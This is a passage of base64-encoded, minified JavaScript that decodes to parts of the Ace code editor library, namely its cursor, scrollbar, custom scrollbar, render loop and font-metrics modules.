yLnNldFN0eWxlKGEsImRpc3BsYXkiLCJibG9jayIpLHIudHJhbnNsYXRlKHUsby5sZWZ0LG8udG9wKSxyLnNldFN0eWxlKGEsIndpZHRoIixNYXRoLnJvdW5kKGUuY2hhcmFjdGVyV2lkdGgpKyJweCIpLHIuc2V0U3R5bGUoYSwiaGVpZ2h0IixlLmxpbmVIZWlnaHQrInB4IikpOnIuc2V0U3R5bGUoYSwiZGlzcGxheSIsIm5vbmUiKX13aGlsZSh0aGlzLmN1cnNvcnMubGVuZ3RoPmkpdGhpcy5yZW1vdmVDdXJzb3IoKTt2YXIgZj10aGlzLnNlc3Npb24uZ2V0T3ZlcndyaXRlKCk7dGhpcy4kc2V0T3ZlcndyaXRlKGYpLHRoaXMuJHBpeGVsUG9zPW8sdGhpcy5yZXN0YXJ0VGltZXIoKX0sdGhpcy5kcmF3Q3Vyc29yPW51bGwsdGhpcy4kc2V0T3ZlcndyaXRlPWZ1bmN0aW9uKGUpe2UhPXRoaXMub3ZlcndyaXRlJiYodGhpcy5vdmVyd3JpdGU9ZSxlP3IuYWRkQ3NzQ2xhc3ModGhpcy5lbGVtZW50LCJhY2Vfb3ZlcndyaXRlLWN1cnNvcnMiKTpyLnJlbW92ZUNzc0NsYXNzKHRoaXMuZWxlbWVudCwiYWNlX292ZXJ3cml0ZS1jdXJzb3JzIikpfSx0aGlzLmRlc3Ryb3k9ZnVuY3Rpb24oKXtjbGVhckludGVydmFsKHRoaXMuaW50ZXJ2YWxJZCksY2xlYXJUaW1lb3V0KHRoaXMudGltZW91dElkKX19KS5jYWxsKGkucHJvdG90eXBlKSx0LkN1cnNvcj1pfSksZGVmaW5lKCJhY2Uvc2Nyb2xsYmFyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9vb3AiLCJhY2UvbGliL2RvbSIsImFjZS9saWIvZXZlbnQiLCJhY2UvbGliL2V2ZW50X2VtaXR0ZXIiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vbGliL29vcCIpLGk9ZSgiLi9saWIvZG9tIikscz1lKCIuL2xpYi9ldmVudCIpLG89ZSgiLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcix1PTMyNzY4LGE9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50PWkuY3JlYXRlRWxlbWVudCgiZGl2IiksdGhpcy5lbGVtZW50LmNsYXNzTmFtZT0iYWNlX3Njcm9sbGJhciBhY2Vfc2Nyb2xsYmFyIit0aGlzLmNsYXNzU3VmZml4LHRoaXMuaW5uZXI9aS5jcmVhdGVFbGVtZW50KCJkaXYiKSx0aGlzLmlubmVyLmNsYXNzTmFtZT0iYWNlX3Njcm9sbGJhci1pbm5lciIsdGhpcy5pbm5lci50ZXh0Q29udGVudD0iXHUwMGEwIix0aGlzLmVsZW1lbnQuYXBwZW5kQ2hpbGQodGhpcy5pbm5lciksZS5hcHBlbmRDaGlsZCh0aGlzLmVsZW1lbnQpLHRoaXMuc2V0VmlzaWJsZSghMSksdGhpcy5za2lwRXZlbnQ9ITEscy5hZGRMaXN0ZW5lcih0aGlzLmVsZW1lbnQsInNjcm9sbCIsdGhpcy5vblNjcm9sbC5iaW5kKHRoaXMpKSxzLmFkZExpc3RlbmVyKHRoaXMuZWxlbWVudCwibW91c2Vkb3duIixzLnByZXZlbnREZWZhdWx0KX07KGZ1bmN0aW9uKCl7ci5pbXBsZW1lbnQodGhpcyxvKSx0aGlzLnNldFZpc2libGU9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50LnN0eWxlLmRpc3BsYXk9ZT8iIjoibm9uZSIsdGhpcy5pc1Zpc2libGU9ZSx0aGlzLmNvZWZmPTF9fSkuY2FsbChhLnByb3RvdHlwZSk7dmFyIGY9ZnVuY3Rpb24oZSx0KXthLmNhbGwodGhpcyxlKSx0aGlzLnNjcm9sbFRvcD0wLHRoaXMuc2Nyb2xsSGVpZ2h0PTAsdC4kc2Nyb2xsYmFyV2lkdGg9dGhpcy53aWR0aD1pLnNjcm9sbGJhcldpZHRoKGUub3duZXJEb2N1bWVudCksdGhpcy5pbm5lci5zdHlsZS53aWR0aD10aGlzLmVsZW1lbnQuc3R5bGUud2lkdGg9KHRoaXMud2lkdGh8fDE1KSs1KyJweCIsdGhpcy4kbWluV2lkdGg9MH07ci5pbmhlcml0cyhmLGEpLGZ1bmN0aW9uKCl7dGhpcy5jbGFzc1N1ZmZpeD0iLXYiLHRoaXMub25TY3JvbGw9ZnVuY3Rpb24oKXtpZighdGhpcy5za2lwRXZlbnQpe3RoaXMuc2Nyb2xsVG9wPXRoaXMuZWxlbWVudC5zY3JvbGxUb3A7aWYodGhpcy5jb2VmZiE9MSl7dmFyIGU9dGhpcy5lbGVtZW50LmNsaWVudEhlaWdodC90aGlzLnNjcm9sbEhlaWdodDt0aGlzLnNjcm9sbFRvcD10aGlzLnNjcm9sbFRvcCooMS1lKS8odGhpcy5jb2VmZi1lKX10aGlzLl9lbWl0KCJzY3JvbGwiLHtkYXRhOnRoaXMuc2Nyb2xsVG9wfSl9dGhpcy5za2lwRXZlbnQ9ITF9LHRoaXMuZ2V0V2lkdGg9ZnVuY3Rpb24oKXtyZXR1cm4gTWF0aC5tYXgodGhpcy5pc1Zpc2libGU/dGhpcy53aWR0aDowLHRoaXMuJG1pbldpZHRofHwwKX0sdGhpcy5zZXRIZWlnaHQ9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50LnN0eWxlLmhlaWdodD1lKyJweCJ9LHRoaXMuc2V0SW5uZXJIZWlnaHQ9dGhpcy5zZXRTY3JvbGxIZWlnaHQ9ZnVuY3Rpb24oZSl7dGhpcy5zY3JvbGxIZWlnaHQ9ZSxlPnU/KHRoaXMuY29lZmY9dS9lLGU9dSk6dGhpcy5jb2VmZiE9MSYmKHRoaXMuY29lZmY9MSksdGhpcy5pbm5lci5zdHlsZS5oZWlnaHQ9ZSsicHgifSx0aGlzLnNldFNjcm9sbFRvcD1mdW5jdGlvbihlKXt0aGlzLnNjcm9sbFRvcCE9ZSYmKHRoaXMuc2tpcEV2ZW50PSEwLHRoaXMuc2Nyb2xsVG9wPWUsdGhpcy5lbGVtZW50LnNjcm9sbFRvcD1lKnRoaXMuY29lZmYpfX0uY2FsbChmLnByb3RvdHlwZSk7dmFyIGw9ZnVuY3Rpb24oZSx0KXthLmNhbGwodGhpcyxlKSx0aGlzLnNjcm9sbExlZnQ9MCx0aGlzLmhlaWdodD10LiRzY3JvbGxiYXJXaWR0aCx0aGlzLmlubmVyLnN0eWxlLmhlaWdodD10aGlzLmVsZW1lbnQuc3R5bGUuaGVpZ2h0PSh0aGlzLmhlaWdodHx8MTUpKzUrInB4In07ci5pbmhlcml0cyhsLGEpLGZ1bmN0aW9uKCl7dGhpcy5jbGFzc1N1ZmZpeD0iLWgiLHRoaXMub25TY3JvbGw9ZnVuY3Rpb24oKXt0aGlzLnNraXBFdmVudHx8KHRoaXMuc2Nyb2xsTGVmdD10aGlzLmVsZW1lbnQuc2Nyb2xsTGVmdCx0aGlzLl9lbWl0KCJzY3JvbGwiLHtkYXRhOnRoaXMuc2Nyb2xsTGVmdH0pKSx0aGlzLnNraXBFdmVudD0hMX0sdGhpcy5nZXRIZWlnaHQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5pc1Zpc2libGU/dGhpcy5oZWlnaHQ6MH0sdGhpcy5zZXRXaWR0aD1mdW5jdGlvbihlKXt0aGlzLmVsZW1lbnQuc3R5bGUud2lkdGg9ZSsicHgifSx0aGlzLnNldElubmVyV2lkdGg9ZnVuY3Rpb24oZSl7dGhpcy5pbm5lci5zdHlsZS53aWR0aD1lKyJweCJ9LHRoaXMuc2V0U2Nyb2xsV2lkdGg9ZnVuY3Rpb24oZSl7dGhpcy5pbm5lci5zdHlsZS53aWR0aD1lKyJweCJ9LHRoaXMuc2V0U2Nyb2xsTGVmdD1mdW5jdGlvbihlKXt0aGlzLnNjcm9sbExlZnQhPWUmJih0aGlzLnNraXBFdmVudD0hMCx0aGlzLnNjcm9sbExlZnQ9dGhpcy5lbGVtZW50LnNjcm9sbExlZnQ9ZSl9fS5jYWxsKGwucHJvdG90eXBlKSx0LlNjcm9sbEJhcj1mLHQuU2Nyb2xsQmFyVj1mLHQuU2Nyb2xsQmFySD1sLHQuVlNjcm9sbEJhcj1mLHQuSFNjcm9sbEJhcj1sfSksZGVmaW5lKCJhY2Uvc2Nyb2xsYmFyX2N1c3RvbSIsWyJyZXF1aXJlIiwiZXhwb3J0cyIsIm1vZHVsZSIsImFjZS9saWIvb29wIiwiYWNlL2xpYi9kb20iLCJhY2UvbGliL2V2ZW50IiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL2xpYi9vb3AiKSxpPWUoIi4vbGliL2RvbSIpLHM9ZSgiLi9saWIvZXZlbnQiKSxvPWUoIi4vbGliL2V2ZW50X2VtaXR0ZXIiKS5FdmVudEVtaXR0ZXI7aS5pbXBvcnRDc3NTdHJpbmcoIi5hY2VfZWRpdG9yPi5hY2Vfc2ItdiBkaXYsIC5hY2VfZWRpdG9yPi5hY2Vfc2ItaCBkaXZ7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYmFja2dyb3VuZDogcmdiYSgxMjgsIDEyOCwgMTI4LCAwLjYpO1xuICAtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIGJvcmRlcjogMXB4IHNvbGlkICNiYmI7XG4gIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgei1pbmRleDogODtcbn1cbi5hY2VfZWRpdG9yPi5hY2Vfc2ItdiwgLmFjZV9lZGl0b3I+LmFjZV9zYi1oIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB6LWluZGV4OiA2O1xuICBiYWNrZ3JvdW5kOiBub25lO1xuICBvdmVyZmxvdzogaGlkZGVuIWltcG9ydGFudDtcbn1cbi5hY2VfZWRpdG9yPi5hY2Vfc2ItdiB7XG4gIHotaW5kZXg6IDY7XG4gIHJpZ2h0OiAwO1xuICB0b3A6IDA7XG4gIHdpZHRoOiAxMnB4O1xufVxuLmFjZV9lZGl0b3I+LmFjZV9zYi12IGRpdiB7XG4gIHotaW5kZXg6IDg7XG4gIHJpZ2h0OiAwO1xuICB3aWR0aDogMTAwJTtcbn1cbi5hY2VfZWRpdG9yPi5hY2Vfc2ItaCB7XG4gIGJvdHRvbTogMDtcbiAgbGVmdDogMDtcbiAgaGVpZ2h0OiAxMnB4O1xufVxuLmFjZV9lZGl0b3I+LmFjZV9zYi1oIGRpdiB7XG4gIGJvdHRvbTogMDtcbiAgaGVpZ2h0OiAxMDAlO1xufVxuLmFjZV9lZGl0b3I+LmFjZV9zYl9ncmFiYmVkIHtcbiAgei1pbmRleDogODtcbiAgYmFja2dyb3VuZDogIzAwMDtcbn0iLCJhY2Vfc2Nyb2xsYmFyLmNzcyIsITEpO3ZhciB1PWZ1bmN0aW9uKGUpe3RoaXMuZWxlbWVudD1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuZWxlbWVudC5jbGFzc05hbWU9ImFjZV9zYiIrdGhpcy5jbGFzc1N1ZmZpeCx0aGlzLmlubmVyPWkuY3JlYXRlRWxlbWVudCgiZGl2IiksdGhpcy5pbm5lci5jbGFzc05hbWU9IiIsdGhpcy5lbGVtZW50LmFwcGVuZENoaWxkKHRoaXMuaW5uZXIpLHRoaXMuVlNjcm9sbFdpZHRoPTEyLHRoaXMuSFNjcm9sbEhlaWdodD0xMixlLmFwcGVuZENoaWxkKHRoaXMuZWxlbWVudCksdGhpcy5zZXRWaXNpYmxlKCExKSx0aGlzLnNraXBFdmVudD0hMSxzLmFkZE11bHRpTW91c2VEb3duTGlzdGVuZXIodGhpcy5lbGVtZW50LFs1MDAsMzAwLDMwMF0sdGhpcywib25Nb3VzZURvd24iKX07KGZ1bmN0aW9uKCl7ci5pbXBsZW1lbnQodGhpcyxvKSx0aGlzLnNldFZpc2libGU9ZnVuY3Rpb24oZSl7dGhpcy5lbGVtZW50LnN0eWxlLmRpc3BsYXk9ZT8iIjoibm9uZSIsdGhpcy5pc1Zpc2libGU9ZSx0aGlzLmNvZWZmPTF9fSkuY2FsbCh1LnByb3RvdHlwZSk7dmFyIGE9ZnVuY3Rpb24oZSx0KXt1LmNhbGwodGhpcyxlKSx0aGlzLnNjcm9sbFRvcD0wLHRoaXMuc2Nyb2xsSGVpZ2h0PTAsdGhpcy5wYXJlbnQ9ZSx0aGlzLndpZHRoPXRoaXMuVlNjcm9sbFdpZHRoLHRoaXMucmVuZGVyZXI9dCx0aGlzLmlubmVyLnN0eWxlLndpZHRoPXRoaXMuZWxlbWVudC5zdHlsZS53aWR0aD0odGhpcy53aWR0aHx8MTUpKyJweCIsdGhpcy4kbWluV2lkdGg9MH07ci5pbmhlcml0cyhhLHUpLGZ1bmN0aW9uKCl7dGhpcy5jbGFzc1N1ZmZpeD0iLXYiLHIuaW1wbGVtZW50KHRoaXMsbyksdGhpcy5vbk1vdXNlRG93bj1mdW5jdGlvbihlLHQpe2lmKGUhPT0ibW91c2Vkb3duIilyZXR1cm47aWYocy5nZXRCdXR0b24odCkhPT0wfHx0LmRldGFpbD09PTIpcmV0dXJuO2lmKHQudGFyZ2V0PT09dGhpcy5pbm5lcil7dmFyIG49dGhpcyxyPXQuY2xpZW50WSxpPWZ1bmN0aW9uKGUpe3I9ZS5jbGllbnRZfSxvPWZ1bmN0aW9uKCl7Y2xlYXJJbnRlcnZhbChsKX0sdT10LmNsaWVudFksYT10aGlzLnRodW1iVG9wLGY9ZnVuY3Rpb24oKXtpZihyPT09dW5kZWZpbmVkKXJldHVybjt2YXIgZT1uLnNjcm9sbFRvcEZyb21UaHVtYlRvcChhK3ItdSk7aWYoZT09PW4uc2Nyb2xsVG9wKXJldHVybjtuLl9lbWl0KCJzY3JvbGwiLHtkYXRhOmV9KX07cy5jYXB0dXJlKHRoaXMuaW5uZXIsaSxvKTt2YXIgbD1zZXRJbnRlcnZhbChmLDIwKTtyZXR1cm4gcy5wcmV2ZW50RGVmYXVsdCh0KX12YXIgYz10LmNsaWVudFktdGhpcy5lbGVtZW50LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLnRvcC10aGlzLnRodW1iSGVpZ2h0LzI7cmV0dXJuIHRoaXMuX2VtaXQoInNjcm9sbCIse2RhdGE6dGhpcy5zY3JvbGxUb3BGcm9tVGh1bWJUb3AoYyl9KSxzLnByZXZlbnREZWZhdWx0KHQpfSx0aGlzLmdldEhlaWdodD1mdW5jdGlvbigpe3JldHVybiB0aGlzLmhlaWdodH0sdGhpcy5zY3JvbGxUb3BGcm9tVGh1bWJUb3A9ZnVuY3Rpb24oZSl7dmFyIHQ9ZSoodGhpcy5wYWdlSGVpZ2h0LXRoaXMudmlld0hlaWdodCkvKHRoaXMuc2xpZGVIZWlnaHQtdGhpcy50aHVtYkhlaWdodCk7cmV0dXJuIHQ+Pj0wLHQ8MD90PTA6dD50aGlzLnBhZ2VIZWlnaHQtdGhpcy52aWV3SGVpZ2h0JiYodD10aGlzLnBhZ2VIZWlnaHQtdGhpcy52aWV3SGVpZ2h0KSx0fSx0aGlzLmdldFdpZHRoPWZ1bmN0aW9uKCl7cmV0dXJuIE1hdGgubWF4KHRoaXMuaXNWaXNpYmxlP3RoaXMud2lkdGg6MCx0aGlzLiRtaW5XaWR0aHx8MCl9LHRoaXMuc2V0SGVpZ2h0PWZ1bmN0aW9uKGUpe3RoaXMuaGVpZ2h0PU1hdGgubWF4KDAsZSksdGhpcy5zbGlkZUhlaWdodD10aGlzLmhlaWdodCx0aGlzLnZpZXdIZWlnaHQ9dGhpcy5oZWlnaHQsdGhpcy5zZXRTY3JvbGxIZWlnaHQodGhpcy5wYWdlSGVpZ2h0LCEwKX0sdGhpcy5zZXRJbm5lckhlaWdodD10aGlzLnNldFNjcm9sbEhlaWdodD1mdW5jdGlvbihlLHQpe2lmKHRoaXMucGFnZUhlaWdodD09PWUmJiF0KXJldHVybjt0aGlzLnBhZ2VIZWlnaHQ9ZSx0aGlzLnRodW1iSGVpZ2h0PXRoaXMuc2xpZGVIZWlnaHQqdGhpcy52aWV3SGVpZ2h0L3RoaXMucGFnZUhlaWdodCx0aGlzLnRodW1iSGVpZ2h0PnRoaXMuc2xpZGVIZWlnaHQmJih0aGlzLnRodW1iSGVpZ2h0PXRoaXMuc2xpZGVIZWlnaHQpLHRoaXMudGh1bWJIZWlnaHQ8MTUmJih0aGlzLnRodW1iSGVpZ2h0PTE1KSx0aGlzLmlubmVyLnN0eWxlLmhlaWdodD10aGlzLnRodW1iSGVpZ2h0KyJweCIsdGhpcy5zY3JvbGxUb3A+dGhpcy5wYWdlSGVpZ2h0LXRoaXMudmlld0hlaWdodCYmKHRoaXMuc2Nyb2xsVG9wPXRoaXMucGFnZUhlaWdodC10aGlzLnZpZXdIZWlnaHQsdGhpcy5zY3JvbGxUb3A8MCYmKHRoaXMuc2Nyb2xsVG9wPTApLHRoaXMuX2VtaXQoInNjcm9sbCIse2RhdGE6dGhpcy5zY3JvbGxUb3B9KSl9LHRoaXMuc2V0U2Nyb2xsVG9wPWZ1bmN0aW9uKGUpe3RoaXMuc2Nyb2xsVG9wPWUsZTwwJiYoZT0wKSx0aGlzLnRodW1iVG9wPWUqKHRoaXMuc2xpZGVIZWlnaHQtdGhpcy50aHVtYkhlaWdodCkvKHRoaXMucGFnZUhlaWdodC10aGlzLnZpZXdIZWlnaHQpLHRoaXMuaW5uZXIuc3R5bGUudG9wPXRoaXMudGh1bWJUb3ArInB4In19LmNhbGwoYS5wcm90b3R5cGUpO3ZhciBmPWZ1bmN0aW9uKGUsdCl7dS5jYWxsKHRoaXMsZSksdGhpcy5zY3JvbGxMZWZ0PTAsdGhpcy5zY3JvbGxXaWR0aD0wLHRoaXMuaGVpZ2h0PXRoaXMuSFNjcm9sbEhlaWdodCx0aGlzLmlubmVyLnN0eWxlLmhlaWdodD10aGlzLmVsZW1lbnQuc3R5bGUuaGVpZ2h0PSh0aGlzLmhlaWdodHx8MTIpKyJweCIsdGhpcy5yZW5kZXJlcj10fTtyLmluaGVyaXRzKGYsdSksZnVuY3Rpb24oKXt0aGlzLmNsYXNzU3VmZml4PSItaCIsci5pbXBsZW1lbnQodGhpcyxvKSx0aGlzLm9uTW91c2VEb3duPWZ1bmN0aW9uKGUsdCl7aWYoZSE9PSJtb3VzZWRvd24iKXJldHVybjtpZihzLmdldEJ1dHRvbih0KSE9PTB8fHQuZGV0YWlsPT09MilyZXR1cm47aWYodC50YXJnZXQ9PT10aGlzLmlubmVyKXt2YXIgbj10aGlzLHI9dC5jbGllbnRYLGk9ZnVuY3Rpb24oZSl7cj1lLmNsaWVudFh9LG89ZnVuY3Rpb24oKXtjbGVhckludGVydmFsKGwpfSx1PXQuY2xpZW50WCxhPXRoaXMudGh1bWJMZWZ0LGY9ZnVuY3Rpb24oKXtpZihyPT09dW5kZWZpbmVkKXJldHVybjt2YXIgZT1uLnNjcm9sbExlZnRGcm9tVGh1bWJMZWZ0KGErci11KTtpZihlPT09bi5zY3JvbGxMZWZ0KXJldHVybjtuLl9lbWl0KCJzY3JvbGwiLHtkYXRhOmV9KX07cy5jYXB0dXJlKHRoaXMuaW5uZXIsaSxvKTt2YXIgbD1zZXRJbnRlcnZhbChmLDIwKTtyZXR1cm4gcy5wcmV2ZW50RGVmYXVsdCh0KX12YXIgYz10LmNsaWVudFgtdGhpcy5lbGVtZW50LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLmxlZnQtdGhpcy50aHVtYldpZHRoLzI7cmV0dXJuIHRoaXMuX2VtaXQoInNjcm9sbCIse2RhdGE6dGhpcy5zY3JvbGxMZWZ0RnJvbVRodW1iTGVmdChjKX0pLHMucHJldmVudERlZmF1bHQodCl9LHRoaXMuZ2V0SGVpZ2h0PWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXNWaXNpYmxlP3RoaXMuaGVpZ2h0OjB9LHRoaXMuc2Nyb2xsTGVmdEZyb21UaHVtYkxlZnQ9ZnVuY3Rpb24oZSl7dmFyIHQ9ZSoodGhpcy5wYWdlV2lkdGgtdGhpcy52aWV3V2lkdGgpLyh0aGlzLnNsaWRlV2lkdGgtdGhpcy50aHVtYldpZHRoKTtyZXR1cm4gdD4+PTAsdDwwP3Q9MDp0PnRoaXMucGFnZVdpZHRoLXRoaXMudmlld1dpZHRoJiYodD10aGlzLnBhZ2VXaWR0aC10aGlzLnZpZXdXaWR0aCksdH0sdGhpcy5zZXRXaWR0aD1mdW5jdGlvbihlKXt0aGlzLndpZHRoPU1hdGgubWF4KDAsZSksdGhpcy5lbGVtZW50LnN0eWxlLndpZHRoPXRoaXMud2lkdGgrInB4Iix0aGlzLnNsaWRlV2lkdGg9dGhpcy53aWR0aCx0aGlzLnZpZXdXaWR0aD10aGlzLndpZHRoLHRoaXMuc2V0U2Nyb2xsV2lkdGgodGhpcy5wYWdlV2lkdGgsITApfSx0aGlzLnNldElubmVyV2lkdGg9dGhpcy5zZXRTY3JvbGxXaWR0aD1mdW5jdGlvbihlLHQpe2lmKHRoaXMucGFnZVdpZHRoPT09ZSYmIXQpcmV0dXJuO3RoaXMucGFnZVdpZHRoPWUsdGhpcy50aHVtYldpZHRoPXRoaXMuc2xpZGVXaWR0aCp0aGlzLnZpZXdXaWR0aC90aGlzLnBhZ2VXaWR0aCx0aGlzLnRodW1iV2lkdGg+dGhpcy5zbGlkZVdpZHRoJiYodGhpcy50aHVtYldpZHRoPXRoaXMuc2xpZGVXaWR0aCksdGhpcy50aHVtYldpZHRoPDE1JiYodGhpcy50aHVtYldpZHRoPTE1KSx0aGlzLmlubmVyLnN0eWxlLndpZHRoPXRoaXMudGh1bWJXaWR0aCsicHgiLHRoaXMuc2Nyb2xsTGVmdD50aGlzLnBhZ2VXaWR0aC10aGlzLnZpZXdXaWR0aCYmKHRoaXMuc2Nyb2xsTGVmdD10aGlzLnBhZ2VXaWR0aC10aGlzLnZpZXdXaWR0aCx0aGlzLnNjcm9sbExlZnQ8MCYmKHRoaXMuc2Nyb2xsTGVmdD0wKSx0aGlzLl9lbWl0KCJzY3JvbGwiLHtkYXRhOnRoaXMuc2Nyb2xsTGVmdH0pKX0sdGhpcy5zZXRTY3JvbGxMZWZ0PWZ1bmN0aW9uKGUpe3RoaXMuc2Nyb2xsTGVmdD1lLGU8MCYmKGU9MCksdGhpcy50aHVtYkxlZnQ9ZSoodGhpcy5zbGlkZVdpZHRoLXRoaXMudGh1bWJXaWR0aCkvKHRoaXMucGFnZVdpZHRoLXRoaXMudmlld1dpZHRoKSx0aGlzLmlubmVyLnN0eWxlLmxlZnQ9dGhpcy50aHVtYkxlZnQrInB4In19LmNhbGwoZi5wcm90b3R5cGUpLHQuU2Nyb2xsQmFyPWEsdC5TY3JvbGxCYXJWPWEsdC5TY3JvbGxCYXJIPWYsdC5WU2Nyb2xsQmFyPWEsdC5IU2Nyb2xsQmFyPWZ9KSxkZWZpbmUoImFjZS9yZW5kZXJsb29wIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9ldmVudCJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi9saWIvZXZlbnQiKSxpPWZ1bmN0aW9uKGUsdCl7dGhpcy5vblJlbmRlcj1lLHRoaXMucGVuZGluZz0hMSx0aGlzLmNoYW5nZXM9MCx0aGlzLiRyZWN1cnNpb25MaW1pdD0yLHRoaXMud2luZG93PXR8fHdpbmRvdzt2YXIgbj10aGlzO3RoaXMuX2ZsdXNoPWZ1bmN0aW9uKGUpe24ucGVuZGluZz0hMTt2YXIgdD1uLmNoYW5nZXM7dCYmKHIuYmxvY2tJZGxlKDEwMCksbi5jaGFuZ2VzPTAsbi5vblJlbmRlcih0KSk7aWYobi5jaGFuZ2VzKXtpZihuLiRyZWN1cnNpb25MaW1pdC0tPDApcmV0dXJuO24uc2NoZWR1bGUoKX1lbHNlIG4uJHJlY3Vyc2lvbkxpbWl0PTJ9fTsoZnVuY3Rpb24oKXt0aGlzLnNjaGVkdWxlPWZ1bmN0aW9uKGUpe3RoaXMuY2hhbmdlcz10aGlzLmNoYW5nZXN8ZSx0aGlzLmNoYW5nZXMmJiF0aGlzLnBlbmRpbmcmJihyLm5leHRGcmFtZSh0aGlzLl9mbHVzaCksdGhpcy5wZW5kaW5nPSEwKX0sdGhpcy5jbGVhcj1mdW5jdGlvbihlKXt2YXIgdD10aGlzLmNoYW5nZXM7cmV0dXJuIHRoaXMuY2hhbmdlcz0wLHR9fSkuY2FsbChpLnByb3RvdHlwZSksdC5SZW5kZXJMb29wPWl9KSxkZWZpbmUoImFjZS9sYXllci9mb250X21ldHJpY3MiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL29vcCIsImFjZS9saWIvZG9tIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xpYi9ldmVudCIsImFjZS9saWIvdXNlcmFnZW50IiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIl0sZnVuY3Rpb24oZSx0LG4pe3ZhciByPWUoIi4uL2xpYi9vb3AiKSxpPWUoIi4uL2xpYi9kb20iKSxzPWUoIi4uL2xpYi9sYW5nIiksbz1lKCIuLi9saWIvZXZlbnQiKSx1PWUoIi4uL2xpYi91c2VyYWdlbnQiKSxhPWUoIi4uL2xpYi9ldmVudF9lbWl0dGVyIikuRXZlbnRFbWl0dGVyLGY9MjUwLGw9dHlwZW9mIFJlc2l6ZU9ic2VydmVyPT0iZnVuY3Rpb24iLGM9MjAwLGg9dC5Gb250TWV0cmljcz1mdW5jdGlvbihlLHQpe3RoaXMuY2hhckNvdW50PXR8fGYsdGhpcy5lbD1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuJHNldE1lYXN1cmVOb2RlU3R5bGVzKHRoaXMuZWwuc3R5bGUsITApLHRoaXMuJG1haW49aS5jcmVhdGVFbGVtZW50KCJkaXYiKSx0aGlzLiRzZXRNZWFzdXJlTm9kZVN0eWxlcyh0aGlzLiRtYWluLnN0eWxlKSx0aGlzLiRtZWFzdXJlTm9kZT1pLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHRoaXMuJHNldE1lYXN1cmVOb2RlU3R5bGVzKHRoaXMuJG1lYXN1cmVOb2RlLnN0eWxlKSx0aGlzLmVsLmFwcGVuZENoaWxkKHRoaXMuJG1haW4pLHRoaXMuZWwuYXBwZW5kQ2hpbGQodGhpcy4kbWVhc3VyZU5vZGUpLGUuYXBwZW5kQ2hpbGQodGhpcy5lbCksdGhpcy4kbWVhc3VyZU5vZGUudGV4dENvbnRlbnQ9cy5zdHJpbmdSZXBlYXQoIlgiLHRoaXMuY2hhckNvdW50KSx0aGlzLiRjaGFyYWN0ZXJTaXplPXt3aWR0aDowLGhlaWdodDowfSxsP3RoaXMuJGFkZE9ic2VydmVyKCk6dGhpcy5jaGVja0ZvclNpemVDaGFuZ2VzKCl9OyhmdW5jdGlvbigpe3IuaW1wbGVtZW50KHRoaXMsYSksdGhpcy4kY2hhcmFjdGVyU2l6ZT17d2lkdGg6MCxoZWlnaHQ6MH0sdGhpcy4kc2V0TWVhc3VyZU5vZGVTdHlsZXM9ZnVuY3Rpb24oZSx0KXtlLndpZHRoPWUuaGVpZ2h0PSJhdXRvIixlLmxlZnQ9ZS50b3A9IjBweCIsZS52aXNpYmlsaXR5PSJoaWRkZW4iLGUucG9zaXRpb249ImFic29sdXRlIixlLndoaXRlU3BhY2U9InByZSIsdS5pc0lFPDg/ZVsiZm9udC1mYW1pbHkiXT0iaW5oZXJpdCI6ZS5mb250PSJpbmhlcml0IixlLm92ZXJmbG93PXQ/ImhpZGRlbiI6InZpc2libGUifSx0aGlzLmNoZWNrRm9yU2l6ZUNoYW5nZXM9ZnVuY3Rpb24oZSl7ZT09PXVuZGVmaW5lZCYmKGU9dGhpcy4kbWVhc3VyZVNpemVzKCkpO2lmKGUmJih0aGlzLiRjaGFyYWN0ZXJTaXplLndpZHRoIT09ZS53aWR0aHx8dGhpcy4kY2hhcmFjdGVyU2l6ZS5oZWlnaHQhPT1lLmhlaWdodCkpe3RoaXMuJG1lYXN1cmVOb2RlLnN0eWxlLmZvbnRXZWlnaHQ9ImJvbGQiO3ZhciB0PXRoaXMuJG1lYXN1cmVTaXplcygpO3RoaXMuJG1lYXN1cmVOb2RlLnN0eWxlLmZvbnRXZWlnaHQ9IiIsdGhpcy4kY2hhcmFjdGVyU2l6ZT1lLHRoaXMuY2hhclNpemVzPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5hbGxvd0JvbGRGb250cz10JiZ0LndpZHRoPT09ZS53aWR0aCYmdC5oZWlnaHQ9PT1lLmhlaWdodCx0aGlzLl9lbWl0KCJjaGFuZ2VDaGFyYWN0ZXJTaXplIix7ZGF0YTplfSl9fSx0aGlzLiRhZGRPYnNlcnZlcj1mdW5jdGlvbigpe3ZhciBlPXRoaXM7dGhpcy4kb2JzZXJ2ZXI9bmV3IHdpbmRvdy5SZXNpemVPYnNlcnZlcihmdW5jdGlvbih0KXtlLmNoZWNrRm9yU2l6ZUNoYW5nZXMoKX0pLHRoaXMuJG9ic2VydmVyLm9ic2VydmUodGhpcy4kbWVhc3VyZU5vZGUpfSx0aGlzLiRwb2xsU2l6ZUNoYW5nZXM9ZnVuY3R